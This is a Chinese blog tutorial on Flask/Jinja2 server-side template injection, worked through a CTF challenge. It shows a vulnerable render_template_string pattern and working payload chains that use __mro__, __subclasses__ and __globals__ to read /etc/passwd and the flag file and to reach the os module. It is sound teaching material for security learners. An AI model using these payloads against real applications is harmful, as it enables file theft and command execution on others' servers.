由攻防世界题目入门Flask SSTI
前言
早该学学了。
基础知识
route
路由(route)将url和函数绑定起来,实现特定的功能,比如:
@app.route("/index") def hello(): return "Hello!"
我们在访问/index目录时,页面上就会显示"Hello!"字样。我们把返回值改成html语句还可以实现样式的特定,比如"<h1>Hello!</h1>"可以显示一级标题"Hello!"。
渲染
Flask使用jinja2引擎进行渲染,主要有两种方法:render_template和render_template_string。
render_template
用于渲染文件,比如:
@app.route("/index") def hello(): return render_template('index.html')
在访问/index目录的时候,就会渲染index.html网页并显示出来。
render_template_string
用于渲染字符串,比如:
@app.route("/index") def hello(): return render_template_string('<h1>Hello!</h1>')
在访问/index目录时,会将传入的参数字符串当作html语句进行网页渲染。
模板变量
jinja2使用{{}}作为变量占位符,例如:
@app.route("/index") def hello(): return render_template('index.html', var='hello')
当我们访问/index时,jinja2会渲染index.html网页,同时把var的参数传入index.html中的var变量中,index.html的代码可以是这样:
<h1>{{var}}</h1>
所以最后渲染出的页面是一级标题"hello"。
{{}}不仅可以用于传递变量,还可以用于执行表达式,比如传入{{1+1}},页面会显示2。
这里有一点需要注意
@app.route("/index") def hello(): s = "<h1>%s</h1>" % var return render_template_string(s)
我们可以通过操控var的值来操控s的值,所以我们可以构造语句造成漏洞,比如构造xss语句。下面这个不太一样:
@app.route("/index") def hello(): return render_template_string('<h1>{{var}}</h1>', var=var)
如果我们构造xss语句传入var,会被转成普通文本显示在网页上,而不是当作代码执行,这是因为render一般都会将传入的变量进行编码转义,来规避漏洞语句的攻击。
漏洞利用
以攻防世界上的Web_python_template_injection题目为例,简单了解漏洞的利用方式。
判断是否有注入点
http://111.200.241.244:55104/{{1+1}}
{{}}中的内容被当作表达式执行,说明存在注入点。
查看全局变量
http://111.200.241.244:55104/{{config}}
{{config}}可以查看全局变量,目前不清楚有什么用处。
补充:今天做bugku的Simple_SSTI用到了,flag藏在某一个全局变量中了。
一些用到的魔术变量和魔术方法
__class__:实例所属的对象,例如''.__class__返回<type 'str'>
__mro__:用来获取类的调用顺序,例如''.__class__.__mro__返回:
__subclasses__():获取类的所有子类,例如''.__class__.__mro__[1].__subclasses__()返回:
即basestring类有两个子类:str和unicode。
__init__:类的初始化方法(构造方法)
__globals__:对保存函数全局变量的字典的引用,可以看到函数全局可读的量。
利用方式
文件读取
刚才我们已经了解了,对于object类的可用引用可以这样列出来:
''.__class__.__mro__[2].__subclasses__()
看到左侧有一个<type 'file'>,我们可以利用它来进行文件读取(40是file所在位置):
''.__class__.__mro__[2].__subclasses__()[40]()
上面的代码其实就相当于file(),用于创建一个file实例,比如:
''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()
上面的代码相当file('/etc/passwd').read(),用于读取/etc/passwd的内容(这个文件在之前的日志注入时见过)。
命令执行
这次我们不用file,在71位置有一个<class 'site.Printer'>,可用于命令执行(因为这个类包含os模块):
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__
首先调用了初始化函数init,之后用globals调出全局变量,寻找os模块。
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os']
我们可以利用os模块进行命令执行了,列出当前目录下文件("."表示当前路径):
''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].listdir(".")
注意!我们是使用python的os模块进行命令执行,不是php也不是cmd,所以不要去尝试什么ls,没有用的,os模块里没有。
接下来我们就可以使用刚刚的文件读取方法来读取fl4g的内容了:
''.__class__.__mro__[2].__subclasses__()[40]('fl4g').read()
成功读取flag。
总结
首先判断是否存在注入,通常办法是在{{}}中嵌入表达式,观察是否执行。
读取文件是创建file实例,并使用内置的read函数读取文件内容;命令执行是利用python的os模块执行命令。想要熟练掌握SSTI,需要对python的相关知识有较深的了解。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· AI与.NET技术实操系列:基于图像分类模型对图像进行分类
· go语言实现终端里的倒计时
· 如何编写易于单元测试的代码
· 10年+ .NET Coder 心语,封装的思维:从隐藏、稳定开始理解其本质意义
· .NET Core 中如何实现缓存的预热?
· 分享一个免费、快速、无限量使用的满血 DeepSeek R1 模型,支持深度思考和联网搜索!
· 25岁的心里话
· 基于 Docker 搭建 FRP 内网穿透开源项目(很简单哒)
· ollama系列01:轻松3步本地部署deepseek,普通电脑可用
· 按钮权限的设计及实现